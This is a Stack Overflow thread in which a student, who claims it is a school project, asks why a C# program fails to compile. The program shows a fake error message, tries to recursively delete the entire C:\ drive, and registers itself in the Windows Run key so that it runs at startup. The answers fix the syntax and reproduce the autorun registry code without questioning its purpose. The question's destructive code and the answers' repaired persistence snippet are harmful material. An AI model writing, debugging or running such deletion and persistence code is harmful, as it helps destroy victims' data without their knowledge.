2

I am trying to create an application that deletes user documents at start-up (I am aware that this may sound malicious but it is for a school project).

However, I am getting the error "A namespace cannot directly contain members such as fields or methods".

Looking over it, it seems fine? I am hoping a second pair of eyes can help as I have searched everywhere and I cannot find a relevant solution!

Admittedly, because of my very basic knowledge, I have used a lot of help online and from books and what I know of c# is limited. Therefore it might just be that I'm being stupid, but everyone has to start somewhere, right?

The code is as follows:

namespace Test
{
class Program
    {
     static void Main(string[] args)
        {
        MessageBox.Show("An unexpected error occured");
        if (System.IO.Directory.Exists(@"C:\"))
        {
            try
            {
                System.IO.Directory.Delete("C:\\", true);
            }

            catch (System.IO.IOException e)
            {
                Console.WriteLine(e.Message);
            }
        }
    }
    }
public class Program
{
    private void SetStartup();
    }

        RegistryKey rk = Registry.CurrentUser.OpenSubKey
            ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

        if (chkStartUp.Checked)
            rk.SetValue(AppName, Application.ExecutablePath.ToString());
        else
            rk.DeleteValue(AppName, false);

    }
user1224163
  • 21
  • 1
  • 1
  • 2
  • Rolled back the edit which fixed the formatting because the lack of formatting is effectively *part of the problem*. If the OP's code were formatted properly to start with, they'd probably have noticed the issue - so changing the question to pretend it already *was* formatting is hiding a significant issue. – Jon Skeet Feb 21 '12 at 19:28
  • possible duplicate of [Error "A namespace does not directly contain members such as fields or methods"](http://stackoverflow.com/questions/2090369/error-a-namespace-does-not-directly-contain-members-such-as-fields-or-methods) – Chris Moschini Jul 15 '14 at 22:17

4 Answers4

10

Your code is seriously messed up around SetStartup. If you follow the normal indentation, you'll see what's going on a bit more clearly. Press Ctrl-E followed by D in Visual Studio, and it'll reformat your document - which should make things considerably clearer.

Look at this (after I've indented it):

public class Program
{
    private void SetStartup();
}

RegistryKey rk = [...];

That's trying to declare a variable (rk) outside a class. You've also got a non-abstract method with no body, and you're missing closing braces at the end.

I suspect you meant it to be:

public class Program
{
    // Note: no semi-colon, and an *opening* brace
    private void SetStartup()
    {
        RegistryKey rk = [...];
        // Other code
    }
}

// And you'd want to close the namespace declaration too

You're also going to have problems declaring two (non-partial) classes with the same name...

Jon Skeet
  • 1,421,763
  • 867
  • 9,128
  • 9,194
  • I am now getting "The name AppName does not exist in the current context" The same with chkStartUp? – user1224163 Feb 21 '12 at 19:44
  • @user1224163: Well you've got two different declarations for the class `Program`, which doesn't help either... and we've no idea what `chkStartUp` is... – Jon Skeet Feb 21 '12 at 19:48
  • Sorted, I was being an idiot (quite obviously).. Thanks for your help, sorry for wasting your time! – user1224163 Feb 21 '12 at 19:49
  • Pressing "Ctrl-E followed by D" in Visual Studio 2012 gives me no reformatting, and the bar at the bottom of the window displays the message "The key combination (Ctrl+E, Shift+D) is not a command." What version of Visual Studio are you using this command in? – Matthew Najmon Nov 13 '13 at 22:57
  • @MatthewNajmon: Not Shift+D, just D. I was probably using VS2010 back then, but I've just checked in VS2012 and VS2013, and it's the same. Go to Edit / Advanced and look for Format Document to find the shortcut key for you. – Jon Skeet Nov 14 '13 at 06:22
  • Sorry. I tried D first, then since you capitalized it, I thought maybe I was mis-reading you and checked Shift-D as well to be sure. Then, when I copied it here, I got sloppy and just copied the error that was still up, not noticing it was the shift version. I just tried it again, it still doesn't work, but this time with "(Ctrl+E,D)" in the error message. – Matthew Najmon Nov 14 '13 at 18:58
0

In my case this error was reported by compiler in Razor view on line 1. The code was following:

@using Microsoft.AspNet.Identity;
@using MyApp.Helpers;

I just changed the order of using and problem is solved.

@using MyApp.Helpers;
@using Microsoft.AspNet.Identity;

My colleagues also reproted that they face this compiler error which can be resolve by changing the order of namespaces.

I use Visual Studio 2013 update 5 and .NET Framework 4.5

Tomas Kubes
  • 23,880
  • 18
  • 111
  • 148
0

After formatting the code, you will see there are code outside of a class.

enter image description here

Jaider
  • 14,268
  • 5
  • 75
  • 82
0

You have a misplaced bracket and semicolon, should be:

private void SetStartup()
{

    RegistryKey rk = Registry.CurrentUser.OpenSubKey
        ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

    //..
}
BrokenGlass
  • 158,293
  • 28
  • 286
  • 335